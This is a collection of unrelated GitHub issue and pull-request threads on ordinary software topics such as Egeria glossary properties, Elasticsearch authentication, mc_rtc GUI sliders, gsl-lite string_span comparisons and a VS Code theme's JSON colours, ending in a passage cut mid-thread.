Add long description property to glossary assets.

As per discussion with @mandy-chessell  opening issue to add long description property to term and glossary related assets
PR : https://github.com/odpi/egeria/pull/1303

The discussion we had was to add an optional short description to the GlossaryTerm type.  There is already a long description.  Are you also planning on changing GlossaryCategory and Glossary in a similar way?
What changes are you planning for Asset?  I am not comforatable with adding a short description to it.

The changes to add the short description property need to be made to this file
https://github.com/odpi/egeria/blob/master/open-metadata-implementation/repository-services/repository-services-implementation/src/main/java/org/odpi/openmetadata/repositoryservices/archivemanager/opentypes/OpenMetadataTypesArchive.java
Along with the updates to the UML doccumentation found here:
https://github.com/odpi/egeria/tree/master/open-metadata-publication/website/open-metadata-types

@mandy-chessell I think the issue is consistency.  For the vast majority of types there is only a "description" documented generally as "Description of the (whatever it is)".  For GlossaryTerm and a few other types, there is a "summary" documented as a "Short description of the glossary term." and "description" as "Full description of the glossary term.", but that is the exception.  GovernanceDefinition has the same two attributes, but the documentation for those attributes is slightly different than it is for GovernanceTerm.  And then there's Annotation, which has a "summary" but no "description" as far as I can tell.
We are currently mapping short description to description across the board.  We're happy to change that to be long description instead - ING currently seems to be expecting it to be in short description, but we can give them a heads up that we're changing it - but regardless of which one (long or short) we put into description, we're looking for a slot into which we can put the other one that we'd like to be consistent across the type system.

@mlottesen Please would you specific exactly what you are proposing to change.  I am now confused :)

@mandy-chessell what we're looking for is a standard way to send both short and long description for everything, not just GlossaryTerm.

@mlottesen For glossary term, the mapping of short description to summary and long description to description makes sense to me.
I am not in favour of updating all types.  Since IGC does not support relationships and classifications explicitly then updating these does not seem necessary - irrespective of whether these fileds are useful.
There are many entity types that are automatically created.  I do not see where a short and long description would never be filled out.  For example, schema elements, data fields and annotations.  Descriptions of these element's meanings should be stored in attached glossary terms and tags.   Even for elements created by individuals such as feedback (comments, ratings, ...) it is hard enough getting any text out of people - but expecting them to create a short and a long description is asking too much :)
If these fields are really needed on EVERY entity then I would suggest adding a new Classification called AdditionalDescription that includes the long and short description.  Wherever needed, a classification can be added to the entity.
My preferred approach is that the types are updated on a case by case basis to ensure the types remain meaningful. This should focus on elements that are descriptive.
As an initial list I would suggest glossary terms, glossaries, glossary categories, governance definitions and assets.

As described above, glossary term is ok.
glossary and glossary category have a display name and description, we could add an abstract property to these entities.
All governance definitions have a summary and a description already.
Asset currently has a description attribute and the assetSummary is located on the relationship between Connection and Asset.  If we move assetSummary to the Asset entity then only one summary is possible per asset.  This will need corresponding changes to the OCF to extract the summary from the Asset entity.  This also impacts the OCF Handlers.

What other entity types would need to be changed if we were doing this on a case by case basis?

What about using the additionalProperties map that is part of every Referenceable as an alternative?  I've been thinking of this as a way to send properties that one or more repositories may use -- without needing to extend the open types themselves (though naturally if it makes sense to do so, by all means).  It feels to me like short_description and long_description fit this scenario...  (And they aren't actually on every entity in IGC, either.)
The sample connector we've built treats them this way:

for GlossaryTerm, short_description is indeed mapped to summary and long_description to description
for other asset types, any unmapped IGC properties (like long_description) are automatically put into additionalProperties of the open metadata entity -- using a map key that matches their property name in IGC (eg. long_description as the map key)

This way no information from IGC is lost, and anything that expects to pickup IGC-specific properties can still do so (from the additionalProperties map), but the open types themselves do not necessarily need to change (ie. if we expect the property in question to remain repository-specific rather than a more general need).

Where are we with this change ?

Is this resolved?

we don't need this for IGC <-> OMRS perspective; so closing it; @cmgrote Please re-open if we need it for egeria in general


Elasticsearch: credential authentication

The current status is that ElasticSearcn is not under authentication (user+password).
Is there option to add authentication(user+password) for the elsticsearch url ?

The current status is that ElasticSearcn is not under authentication (user+password). Is there option to add authentication(user+password) for the elsticsearch url ?

@ebattat why do you think it is not under authentication? Today we accept a ES URL, which can have the user/pass passed. Most of our servers (minus the public ones) use authentication for read/write to ES.
'http://<username>:<password>@<host>'

@jtaleric. Thx for your fast replay.
Can I use also https instead http ?

yes? why wouldn’t you be able to assuming your server supports https.

@jtaleric, last query before closing, Did benchmark-wrapper handle https certificate or verify_certs=False ?

@jtaleric, last query before closing, Did benchmark-wrapper handle https certificate or verify_certs=False ?

https://github.com/cloud-bulldozer/benchmark-wrapper/blob/master/snafu/run_snafu.py#L94-L100


Redesign the whole Application

🚀 Feature
A clear and concise description of what the feature is.
** Redesign the whole Application. You can go with trending Design or can also go with your own design system.
Note : Before Making a pull request make sure you have done everything necessary and please add gifs and photos.

i want to do it @ZiaCodes

Hey, This is Sangh Priya Gautam .I am intrested in contributing to this project but how can i work in this project .

can I get assigned @ZiaCodes

Hey, This is Sangh Priya Gautam .I am intrested in contributing to this project but how can i work in this project .

Okay assigned

I want to work on this issue under JWOC

I want to contribute in this project.

I want to work on this issue under JWOC

Hey @codervivek5 I will assign you if the current one will not complete within time.

I want to work on this issue under JWOC

Hey Are you available for this ??

@ZiaCodes i want to know one thing...this is Redesigned with code or Figma design.
If it will design this via code than there have any reference Figma design or i have make all thing with my own learning.

@ZiaCodes i want to know one thing...this is Redesigned with code or Figma design.
If it will design this via code than there have any reference Figma design or i have make all thing with my own learning.

Make your own design and yes do not change the logo ..

@ZiaCodes i want to know, how much time left to submit my PR ....😐

@ZiaCodes i want to know, how much time left to submit my PR ....neutral_face

Now you have 24 hours.

Ok thank you 😊


Release 1.1.4

Episode parsing is now broken. I have this idea of using a remote config but maybe it is a overkill.

It seems that a cookie is now needed before the video can be played.

The problem is now fixed but more testings are needed. It seems that the entire website has been updated.


Additional style config needed in theme

support setting the style of the transition conditions
allow style to apply to non-task states

I'd like to be able to produce a diagram that shows the execution history for a definition.

use the execution history to create styles for the states that executed
set the defaults for other states to be light gray or muted to represent dead paths

this is something I'd emit during the build after running MockConfigFile tests.

theme updated to support styling of dead path and also now styles non-task states


Updating GUI information Posture

Hi
I'm currently working on controlling a new robot with a custom made "PartialPostureTask". I load the robot in as is shown in the tutorial of "integrating a new robot in mc_rtc". In this folder I define an initial stance for the robot. While controlling the robot, I remove the existing posture task and add a custom posture task for specified joints. However in the GUI the Posture targets don't seem to get update anymore, in other words the sliders aren't connected. I was therefore wondering if I could include or either overwrite the information of the slider in my code to be able to control certain joints with the sliders in the task.
For elaboration purposes, I added a screencapture below. In the figure the sliders are depicted under the tabs talos_partial_posture task as target. However these are set to the initial stance and don't get updated. Ideally these would get updated and I'm able to set a different position for certain joint while using this custom partialposturetask.

With kind regards,
Mark

Hi @MTdeVries
It's hard to tell without seeing the code of your task but the values in the slider are those you provide through the callback for mc_rtc::gui::NumberSlider
In the built-in posture task, the relevant code is here, i.e.
      gui.addElement({"Tasks", name_, "Target"},
                     mc_rtc::gui::NumberSlider(
                         j.name(), [this, jIndex]() { return this->posture_[jIndex][0]; },
                         [jIndex, updatePosture](double v) { updatePosture(jIndex, v); },
                         robots_.robot(rIndex_).ql()[jIndex][0], robots_.robot(rIndex_).qu()[jIndex][0]));

Here, the first callback returns posture_[jIndex][0] which is the target for the given joint, this is the value you are seeing in the GUI.

in other words the sliders aren't connected

I'm guessing you are inheriting the mc_tasks::PostureTask but you are not re-using posture_ to store the target so the sliders appears for the base class?

I was therefore wondering if I could include or either overwrite the information of the slider in my code to be able to control certain joints with the sliders in the task.

You could override addToGUI(mc_rtc::gui::StateBuilder & gui) for your class then:
void MyTask::addToGUI(mc_rtc::gui::StateBuilder & gui)
{
  // Add the GUI of PostureTask
  mc_tasks::PostureTask::addToGUI(gui);
  // Remove the Target elements since we want to override them
  gui.removeCategory({"Tasks", name_, "Target"});
  // Add elements to Target with the behavior you want
  // ....
}

Thank you for your quick reply, If I understand it correctly I then need to load all joint names in terms of j to be able to updated the sliders?
Another problem:
However, adding the line:     void addToGUI(mc_rtc::gui::StateBuilder & gui);
or: addToGUI(mc_rtc::gui::StateBuilder & gui) override;
To my header file, result in the following critical error

Even with the: #include <mc_rtc/gui/StateBuilder.h>

If I understand it correctly I then need to load all joint names in terms of j to be able to updated the sliders?

Yes. You have to create a separate NumberSlider for each target you want to set this way.

I can't seem to adjust the protected gui. Using either:

Did you add the corresponding implementation? The error you're getting might be due to unresolved symbols.


Implemented WriteAllLines with input parameter IEnumerable

Thanks! Can you add a unit test?

Thanks! Published to NuGet as <IP_ADDRESS>


Modal not working

Describe the bug
the modal of modification of the technical division is not displayed
To Reproduce
Steps to reproduce the behavior:

Go to quote page and create new one
Go to quote line tab and add one line
display BOM detail

add teck cut

5 try to diplay modal for update

Expected behavior
Start modal :

Call modal

Additional context
Same for product page, but all working for BOM modal update

Modals don't work, attempt to go through a livewire component.
this forces you to report this in a new blade view

It seems to work, it makes the thing more dynamic, has to do with the other documents


Perf: added when operator in http

Codecov Report

Merging #1078 (11dd51a) into main (29c37c6) will decrease coverage by 0.08%.
The diff coverage is 16.66%.

@@            Coverage Diff             @@
##             main    #1078      +/-   ##
==========================================
- Coverage   57.61%   57.53%   -0.09%
==========================================
  Files          73       73
  Lines        2291     2296       +5
  Branches       69       65       -4
==========================================
+ Hits         1320     1321       +1
- Misses        971      975       +4

Impacted Files
Coverage Δ

zio-http/src/main/scala/zhttp/http/Request.scala
36.36% <0.00%> (-3.64%)
:arrow_down:

...io-http/src/main/scala/zhttp/service/Handler.scala
69.23% <ø> (ø)

zio-http/src/main/scala/zhttp/http/Http.scala
74.35% <33.33%> (-0.81%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 29c37c6...11dd51a. Read the comment docs.

Benchmark results:
[info] Benchmark                                Mode  Cnt        Score          Error  Units
[info] HttpRouteTextPerf.benchmarkHttpProgram  thrpt    3  4324832.025 ? 13791716.693  ops/s

jmh benchmark with updated main
[info] Benchmark                                Mode  Cnt        Score        Error  Units
[info] HttpRouteTextPerf.benchmarkHttpProgram  thrpt    3  7397922.838 ? 575478.018  ops/s


Enhance package/namespace coverage

Fixes #9843
@tdykstra I think if packages are moved up + we add the API links to the interfaces that we'll cover this. Since pretty much all of the code samps are sample app snippets, it isn't a trivial matter to add using namespaces.
I also rejected the approach of adding the API ref (e.g., (<xref:Microsoft.Extensions.Logging>)) to the members throughout ... it disturbs the flow of the doc too much imo to do that. I think this is our best bet.

Yes, but we probably can't add using statements when 95%-ish of the code examples are snippets that draw in segments of code well below where the using statements appear in the sample app. We could add xref namespaces all over the place throughout the topic, but that breaks the flow of the text quite a bit. I can flesh out the interfaces in this section (perhaps rename it to Packages and namespaces), but that's not what we typically do in Packages sections when they appear early in the topic.
What's the alternative? What else can we do?

For specific instances where omitting the namespace is problematic, we can add code comments in the snippet that mention the needed using.  I'm more inclined to invest that effort in instances where it's hard to know what you're missing because IntelliSense can't provide it.  I don't think we have resources or it's high enough priority to do everywhere.


Windows Holographic SDK not added when applying Mixed Reality Project Settings

HoloLens Development with Unity2017.1.2.f1 and HoloToolkit-Unity-v1.2017.2.0, Windows 10 version 1709

Create empty project -> Mixed Reality Toolkit -> Configure -> Apply mixed reality project settings
Edit -> Project Settings -> Player -> Virtual Reality SDKs -> Windows MR (missing from build)
Need to manually add Windows Holographic to be able to use "Simulate in Editor" or "Remote to Device"

Hmm, I thought I had fixed this. I'll double check.

I did. But it didn't make it into the last release. See #1251

For now the best workaround is to manually add windows holographic or update your project settings window class with my changes

OK, thanks for the update.


Deploy 83

Deploy 83

Merging this in to unblock any fork tests on master.
Explanation: if proposal Id is not present a fork environment will try to re-create the proposal with the same parameters as one already exists and the governor will throw an error: "Proposal already exists"


API Improvement with Lazy Loading

Something I noticed with the API is that you require, by convention, that someone call download/parse/nlp before accessing properties. This is a lazy evaluation problem, because the the common approach is to have the object ready to use when instantiated. Instead, we don't want to hammer the server each time an object is created if the data the property depends on isn't available.
Instead of the approach by enforcing convention and throwing errors, a more user friendly approach is to perform the operations as needed.
One library that helps with this is lazy, but this doesn't solve the whole problem.
You need to do something like this. See pseudocode below:
class Article(object):
    def __init__(self, url):
        self.url = url
        self._raw_article = None
        self._parsed_article = None

    @property
    def raw_article(self):
        if self._raw_article is None:
            self.download()
        return self._raw_article

    @property
    def parsed_article(self):
        if self._parsed_article is None:
            self.parse()
        return self._parsed_article

    @property
    def title(self):
        # the check for not None here will inherently lazy load the requirement
        # can check for other requirements as well here
        if self._parsed_article is not None:
            return self._parsed_article.title

Alternatively, something like lazy makes this more simple:
class Article(object):
    def __init__(self, url):
        self.url = url

    @lazy
    def raw_article(self):
        return self.download()

    @lazy
    def parsed_article(self):
        return self.parse()

    @property
    def title(self):
        # lazy captures and caches the lazy loaded properties
        return self.parsed_article.title

This has never occurred to me, good idea!


integration test for ioctl (immutable and appendonly)

We should have end-to-end test for it, may also enable those in ltp test suites.

This is a testcase   -setxattr(2) to immutable and append-only files should get EPERM. But we forgot to check these flags in setxattr and setattr.


ionic start command should not install npm dependencies itself

Just a remark here, but I find it unfortunate that the ionic start command execute itself the npm install command that install all npm dependencies. Its job should be to generate code, not install all dependencies. It would be more align with the single responsibility principle.
npm install is a single line command that we can type next after generating the project. I say that because it makes the execution time very long especially on slow networks which can be very frustrating if you want to execute it several times for instance to see generated code for several templates or with different options.
Just because you generate code doesn't mean you will execute it.

This is a feature of the ionic start command.  If you would like to get started without using this you could just visit the base application starters directly on github.
https://github.com/driftyco/ionic2-app-base
https://github.com/driftyco?utf8=✓&query=ionic2-start


Trying to use gh to authenticate git

Current dependencies on/for this PR:

main

PR #142

PR #144

PR #145   👈

This comment was auto-generated by Graphite.

Graphite Merge Job
Current status: ⏳ Queued to merge
This pull request is currently queued to be merged as part of a stack.
This comment was auto-generated by Graphite.

Job Reference: yKnlmtOOFOAhqWzllqSL


Adding sort_keys

Minor spelling fixes
adds sort keys for granules will do collections some other time
testing:
start up python in the repo
from cmr import CollectionQuery, GranuleQuery, ToolQuery, ServiceQuery, VariableQuery
import json
api = GranuleQuery()
api.parameters(short_name="OMNO2", version="003", provider='GES_DISC', sort_key='-start_date')
 granules = api.get(10)`
print(json.dumps(granules, indent=1))
ensure that the returned granules are sorted by the sort_key

We're in need of this feature at GES DISC - I had put in a request to be maintainer to help approve PRs months ago for python-cmr but it was never approved. Can I nudge @frankinspace to review/approve?


cleanup: Delete .github/trusted-contribution.yaml

The cloud-foundation-bot takes care of creating/maintaining the file at /.github/trusted-contribution.yml, so we no longer need /.github/trusted-contribution.yaml.

Thanks again for the quick review, @minherz!
I agree that we should be consistent (either only use .yaml or only use .yml).
Today, there are two .yml files in this repository (see Google-internal screenshot of all .yaml and .yml files in this repo).

/.github/trusted-contribution.yml
/.github/workflows/stale.yml

Unfortunately, it won't be easy to rename those 2 files to ...yaml, since they are maintained by the cloud-foundation-bot (see cloud-foundation-bot source code here). It would involve programatically deleting existing .yml files in all Blueprint repository, etc. Since it's a big effort and you mentioned it's a "nit", I will let the issue be.


tutorial top page

In tapqir/docs/source/tutorials/index.rst, maybe we should delete the buttons and just make a short table of contents with links to the different tutorials?  This would take less space and make the page easier to edit.

Closed via #245


Uncaught SyntaxError: serialport.js:146

SerialPort: 6.0.4
Node: 8.7.0
OS: Win10
Before I installed serialport I had run
npm install -g node-gyp
npm install --global --production windows-build-tools
npm install serialport --build-from-source

I'm trying to get a list of serial ports on my laptop with nw.js
When I compiled the code and ran it I got the following error in console:

Uncaught SyntaxError: C:\Users\nikol\AppData\Local\Temp\nw8832_8531\node_modules\serialport\lib\serialport.js:146
FLOWCONTROLS.forEach((control) => {
^^
Unexpected token =>

And this is the code:
var SerialPort = require('serialport');
// callback approach
SerialPort.list(function (err, ports) {
  ports.forEach(function(port) {
    console.log(port.comName);
    console.log(port.pnpId);
    console.log(port.manufacturer);
  });
});

The error message "Unexpected token =>" is related to arrow functions which were introduced with Node 4. It looks like a very old version of node is being used (< Node 4), not Node 8.7.0.
If the following line is added as the first line of the program and the program is then run what is printed to the screen?
console.log("Node " + process.version)

It shouldn't be necessary to run the following commands.
npm install -g node-gyp
npm install --global --production windows-build-tools
npm install serialport --build-from-source

Your system may not be setup correctly.

Oh my God.
It says Node v1.2.0

There are many ways to install the latest version of Node. One way it to download the latest version for your platform at https://nodejs.org/en/ and install it. It may be a good idea to uninstall the version you currently have installed first.
I'll go ahead and close this issue as there is no actionable for serialport.


Convert IRGen based FileCheck lines to SIL based test that is platform invariant

Originally I made this test an IRGen based test since we did not have a way to tell the compiler to dump lowered SIL... that is a pretty brittle way to write these tests. So I just in this PR implemented the ability to get the frontend to dump lowered SIL and just test that. Then the second commit in the PR uses that to fix the specific test.
rdar://138845396

@swift-ci smoke test

@swift-ci smoke test

@swift-ci smoke test

@swift-ci smoke test


Comparison operator on string_spans - null-terminated and otherwise.

While testing migrating my project from Microsoft's GSL to GSL-Lite, my tests started failing when doing string_span comparisons. This was because some string_spans were null-terminated, some were not.
Is it intended behaviour for string_spans which are identical other than one being null-terminated to be considered different?
I have been experimenting with adding an option for special string_span comparison operators that ignore the last element of the operands if they are equal to `'\0' - do you think this is a good approach?
My additions can be seen on my fork.
Thank you!

Another, simpler, approach would be in construction, i.e. ignore the null-terminator when constructing from string literal. This would cover most cases where the comparison gives unexpected results while keeping the current behaviour of the comparisons.

Thanks Magnus,
I'll have a look at the construction-case.
Perhaps time has come to add class basic_string_span instead of building string_span on on span?

Nice! I too started thinking that ignoring the null terminator on construction is better.
With my additional comparison operator experiment, there are now four versions of the comparisons, which seems a bit too much - besides, a user might want to explicitly include the null terminator in the span and its comparisons.

Started to implement basic_string_span.

Hi Magnus (@Sillamacka),
I've added basic_string_span in branch basic_string_span. I both looked  at the proposal p0123r2 and M-GSL.
Can you check if the changes fix the failures you had?
Thanks,
Martin

Hello, that was fast!
It did fix the problems, but I had to fix some bugs in the code first: here is the diff.
Summary: rbegin() & rend() should return reverse_iterator
Signed/unsigned problems in basic_string_span::subspan().
Default constructor for basic_string_span was marked noexcept, but default constructor for span was not.
And finally, when compiling with Clang-3.9, basic_string_span's copy constructor SFINAE causes errors when instantiating span<char>::span(span<const char> const &) within the is_convertible check. I guess the overload should be disabled with SFINAE instead of duck typing in the body?
Curiously, GCC-6.2.0 handles it just fine. I wonder which is correct? (Both are compiled with the same version of libstdc++.)
As a workaround, I replaced the is_convertible test to check if the pointer types are convertible instead.
Another point: I think it would be useful to allow operator== on directly on string_spans and types which are convertible to string_span. M-GSL does this, although it does not appear to be in the proposal.
Thank you for your work!

It seems the strange Clang error is triggered when calling gsl::to_string() on any string_span.
Minimal example:
#include "gsl-lite.h"
#include <string>

int main() {
	gsl::cstring_span span = "Hello world";
	std::string str = gsl::to_string(span);
}

I can also confirm that it can be solved by constraining span<T>::span( span<U> const & ) with SFINAE.

Thanks Magnus,
Summary:

[x] rbegin() & rend() should return reverse_iterator
[x] [Note: split into two functions as with span]Signed/unsigned problems in basic_string_span::subspan().
[x] Default constructor for basic_string_span was marked noexcept, but default constructor for span was not.
[x] [AIUI the workaround (and the way M-GSL goes about it) is 'just fine']And finally, when compiling with Clang-3.9, basic_string_span's move & copy constructor SFINAE causes errors when instantiating span::span(span const &) within the is_convertible check. I guess the overload should be disabled with SFINAE instead of duck typing in the body?
Curiously, GCC-6.2.0 handles it just fine. I wonder which is correct? (Both are compiled with the same version of libstdc++.)
As a workaround, I replaced the is_convertible test to check if the pointer types are convertible instead.
[ ] [Had noticed this, will look into it]Another point: I think it would be useful to allow operator== on directly on string_spans and types which are convertible to string_span. M-GSL does this, although it does not appear to be in the proposal.

Excellent! I forgot to mention that I also changed the std::basic_string const &-taking constructor to work with non-default char_traits and allocator template parameters, perhaps you should add that to the list?

I'd noticed it though :)

@Sillamacka , I'll first release gsl lite with basic_string_span without its enhanced comparison as indicated below, then have a look at it:

[ ] [Had noticed this, will look into it]Another point: I think it would be useful to allow operator== on directly on string_spans and types which are convertible to string_span. M-GSL does this, although it does not appear to be in the proposal.

Sounds good to me, explicitly constructing cstring_spans in comparisons isn't that much extra work, so I think I can deal with it :D

It'll not take long probably...

Published release 0.16.0 with enhanced string span comparison.

Great! I think we can consider this issue resolved now.


Stringable java classes support

I've introduced Stringable classes support. In relation to that, I did some additional refactor with SchemaMapper - I think it significantly simplified schema classes handling in code.

I hope I  addressed your concerns. Necessary exceptions from stringable classes are handled more subtle now. Rest of requests are either implemented or explained.


[Feature Branch] KV Cache Injection Logic

This is the feature branch that collects all the PRs relevant for the task of creating a general, KV cache injection transform. The motivation behind a feature branch is to facilitate the review process and reduce the confusion stemming from multiple iterations of work on that project. This feature branch encapsulates the following PRs:

[x] #1559 - this is the base implementation of the KV Cache injector. Let's assign to this PR a letter: A
[x] #1573 - this is the feature that automatically assigns the static shapes of the inputs/outputs. Let's assign to this PR a letter: B
[x] #1589 - this is the feature that enforces, that kv cache inputs/outputs always include the batch_size dimension (requirement on the engine side)

Review Order:
This is the dependency graph of the PRs that consistute this feature branch:
A <-- B <-- C

This is why I would propose to review the PRs and land them into the feature branch in the order: A, B, C
Testing:
Every feature has been tested independently, but it would be advisable to write some integration tests once this feature branch gets populated with the content of the "parent" PRs.

The current status of the PR: It was tested with the following models:

opt-350 (dense)
/network/tuan/models/sparsegpt/opt/potential/sparsegpt@opt-350m@c4@opt350m.W8A8linear.fp16_matmul_resi_relu_ln_emb_head@SP0@SQ0@PTQ1@ID5873 (sparse)

Using pipeline state from this PR:
https://github.com/neuralmagic/deepsparse/pull/1047
from deepsparse import Pipeline

opt = Pipeline.create(task="opt",
                     model_path="/home/ubuntu/damian/sparseml/tuan_model/deployment", # or dense model
                     sequence_length=128,
                     engine_type = "onnxruntime",
                     max_generated_tokens=30,
                     prompt_batch_threshold=0.5)

output = opt(sequence="Who is the president of the United States?")
print(output.sequence)

>> The president of the United States is the head of the executive branch of the government. The president is the head of the executive branch of the


VmIconStatus

📝 Description

Adding the VMIconStatus component

Demo

@yaacov @glekner Can you guys please review this?


Can we make the ALB Subnet Type agnostic?

Is your request related to a problem? Please describe.
We currently deploy our ALB in private subnets within AWS. But the var that is used in the alb module makes reference to local.public_subnet_ids.
For now, we have passed in our private subnet id under the var.public_subnet_ids with a big comment detailing why - but as you can imagine, it's not ideal.
Describe the solution you'd like.
I'd like the subnet variable names to be agnostic as it makes assumptions on the type of subnets people use for their ALB's, as many deploy ALB's into private subnets, it's not just public ones.

resolved in #366


docker fails with configuration version '4', your configuration is version '3'

see: https://openziti.discourse.group/t/zrok-self-hosted-zrok-controller-doesnt-run/2721/2
with the latest zrok, the config version was moved to 4 but the docker file must be version 3

@qrkourier Can you take a look at this for v0.4.32?
In the meantime, affected users can set the environment variable ZROK_CTRL_CONFIG_VERSION=4 to override the version of the file contained in the config.

Is bumping the spec version sufficient for this simple controller config?
https://github.com/openziti/zrok/blob/main/docker/compose/zrok-instance/zrok-controller-config.yml.envsubst


Git Diff not showing the diff

VSCode Version:Version 1.11.0-insider (1.11.0-insider) ce0277bf8e30329fddcba1b67f8ba7314c10c97e
OS Version: 10.10

Steps to Reproduce:
Click the SCM icon, view list of changed files. Pick one. Then wait forever while watching the blue line move across the top over and over again. Never see the actual diff. This behavior began about a week ago.

I am not. I'm not doing anything different than I've ever done. That's part of why this is a mystery. Not sure what else I could do to diagnose the issue or what other logging or information I could produce or look at to figure out what's going on.

Duplicate of #23977


Use visual selection for search in current file

It will be great to use spectre.open_file_search in visual mode. But for now, it ignores selected text.

This would be really great!


Project docker setup and fix @opensearch-project/opensearch/ node module error

Description

Project docker setup.
Fix node module error coming from https://github.com/opensearch-project/opensearch-js/issues/410#issuecomment-2378736883.

Issues Resolved
Part of https://github.com/opensearch-project/opensearch-build/issues/4941 and https://github.com/opensearch-project/automation-app/issues/9.
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Thanks @peterzhuamazon updated with all your feedback, please check. Thanks


Starting clue tokens

Is there a way to use the QItem starting items to create a banner at the bottom of the starting items page for quantity of starting clue tokens? Similar to how FFG implements. I'm currently handling this via dialog box, but figured it might be something of interest.

The current solution to it is to have it in the text of the first event.

Yes, that's what I'm using now. I didn't know if there was a way to add it
in to the starting items screen in a future release.
On Fri, Jun 23, 2017, 8:27 PM redwolf2<EMAIL_ADDRESS>wrote:

The current solution to it is to have it in the text of the first event.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/NPBruce/valkyrie/issues/547#issuecomment-310800866,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aahf4dVhX_YhcP9tGAEFvSTt1F1TlqDhks5sHFgDgaJpZM4OEH8y
.

Just a note: The text to it is SETUP_STARTING_CLUETOKEN in the localisation file.

@redwolf2 your note suggests an alternative solution to "handing out Clue Tokens described in the start-up event". Do you have an example for this?

Try the text {ff:SETUP_STARTING_CLUETOKEN}

I thought (hoped) that your suggestion would give a message in the FFG flow style: Select Investigators -> hand out items  AND Clues -> start the introduction. It does give a nice 'standard text' handing out zero (0) Clue tokens if you put it the dialogue box of an event:

Useful if you don't want to hand-out clue tokens :) ... but less if for example: you want to hand out 1 Clue with 3 or more investigators and 2 Clues if only 2 investigators are selected.
So if a mechanism to implement this in Valkyrie is to complicated/not needed then I would propose to close this issue and to keep solving this in the scenario.
I will raise a ticket in scrubbles's MOM Tutorial anyway to suggest that the first event triggered by EventStart should only hand-out the Clues, and that the next event will start with the introduction UI etc to mimic the std FFG scenario behavior.
(which reminds me.. I need to do this in my own scenario too :)

Try to use it like {ffg:SETUP_STARTING_CLUETOKEN:{0}:123}
To request 3 clue token.

Hi @redwolf2
Could you elaborate we a little bit?
Where should I put the 'Fox' and 'Dog' text (localisation file?) And how do I call them (Is it as simple as
"Localisation:
0,Fox
1,Dog
Event1, The quick, brown {0} jumps over the lazy {1}."
Or do I need to use the {ffg:  } argument somehow?

DOG,Dog
FOX,Fox
Event1,{qst:MYTEXT:{0}:{qst:DOG}:{1}:{qst:FOX}}


Add sample code

It would be really helpful if you could

post the code for how the HR app would be written to be able to be used by multiple, organizational tenants, particularly how the data would be segmented
describe in detail the steps necessary to allow Contoso and Fabrikam to use the HR app

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 6c12e139-8cb6-dd6d-2e08-89d4f22c7eef
Version Independent ID: 675b5ee9-bfe6-344f-7b39-ca0e2bc18b9b
Content: Apps & service principals in Azure AD - Microsoft identity platform
Content Source: articles/active-directory/develop/app-objects-and-service-principals.md
Service: active-directory
Sub-service: develop
GitHub Login: @rwike77
Microsoft Alias: ryanwi

@craibuc
Thanks for your feedback! I've assigned this issue to the author who will investigate and update as appropriate.

https://codemag.com/Article/2101081/Building-Multi-Tenant-Applications-Using-ASP.NET-5 includes some useful topics that I think you'd want to cover.
Another question: does Azure have a mechanism to bill other tenants for services?  In this example, Adatum would change Contoso and Fabrikam for the use of the HR app.
I appreciate your quick response.

@craibuc Hi, have you seen the list of sample multi-tenant applications?  Hope that helps.


json syntax highlighting changes color depending on the scope depth

As you can see in the following image, the color of the keys changes depending on the scope depth:

this is rather strange behaviour. It should remain a constant color for every level of scope.
It should also be noted that the color of the values are affected as well.

From what I can see, it has to do with lines 646-680 in the theme files. For example, in gruvbox-dark-medium.json, (lines 646-680) we have
{
      "name": "JSON Level 0",
      "scope": [
        "source.json meta.structure.dictionary.json support.type.property-name.json"
      ],
      "settings": {
        "foreground": "#b8bb26"
      }
    },
    {
      "name": "JSON Level 1",
      "scope": [
        "source.json meta.structure.dictionary.json meta.structure.dictionary.value.json meta.structure.dictionary.json support.type.property-name.json"
      ],
      "settings": {
        "foreground": "#8ec07c"
      }
    },
    {
      "name": "JSON Level 2",
      "scope": [
        "source.json meta.structure.dictionary.json meta.structure.dictionary.value.json meta.structure.dictionary.json meta.structure.dictionary.value.json meta.structure.dictionary.json support.type.property-name.json"
      ],
      "settings": {
        "foreground": "#d3869b"
      }
    },
    {
      "name": "JSON Level 3",
      "scope": [
        "source.json meta.structure.dictionary.json meta.structure.dictionary.value.json meta.structure.dictionary.json meta.structure.dictionary.value.json meta.structure.dictionary.json meta.structure.dictionary.value.json meta.structure.dictionary.json support.type.property-name.json"
      ],
      "settings": {
        "foreground": "#b8bb26"
      }

This is the source of the weirdness. I'm not entirely sure why this is all hardcoded in this way.


amazonS3.selectObjectContent returns Bad Request

I'm using adobe/s3Mock 2.1.28 image
I want to use the selectObjectContent (aws sdk v1) but I get this error :
com.amazonaws.services.s3.model.AmazonS3Exception: Bad Request (Service: Amazon S3; Status Code: 400; Error Code: 400 Bad Request; Request ID: null; S3 Extended Request ID: null; Proxy: null)
at com.amazonaws.http.AmazonHttpClient$RequestExecutor.handleErrorResponse(AmazonHttpClient.java:1811)
at com.amazonaws.http.AmazonHttpClient$RequestExecutor.handleServiceErrorResponse(AmazonHttpClient.java:1395)
at com.amazonaws.http.AmazonHttpClient$RequestExecutor.executeOneRequest(AmazonHttpClient.java:1371)
at com.amazonaws.http.AmazonHttpClient$RequestExecutor.executeHelper(AmazonHttpClient.java:1145)
at com.amazonaws.http.AmazonHttpClient$RequestExecutor.doExecute(AmazonHttpClient.java:802)
at com.amazonaws.http.AmazonHttpClient$RequestExecutor.executeWithTimer(AmazonHttpClient.java:770)
at com.amazonaws.http.AmazonHttpClient$RequestExecutor.execute(AmazonHttpClient.java:744)
at com.amazonaws.http.AmazonHttpClient$RequestExecutor.access$500(AmazonHttpClient.java:704)
at com.amazonaws.http.AmazonHttpClient$RequestExecutionBuilderImpl.execute(AmazonHttpClient.java:686)
at com.amazonaws.http.AmazonHttpClient.execute(AmazonHttpClient.java:550)
at com.amazonaws.http.AmazonHttpClient.execute(AmazonHttpClient.java:530)
at com.amazonaws.services.s3.AmazonS3Client.invoke(AmazonS3Client.java:5062)
at com.amazonaws.services.s3.AmazonS3Client.invoke(AmazonS3Client.java:5008)
at com.amazonaws.services.s3.AmazonS3Client.selectObjectContent(AmazonS3Client.java:3175)
any help please?
thanks

The image does not support this method.


setTaskDescription only applied after moving window

Steps to reproduce
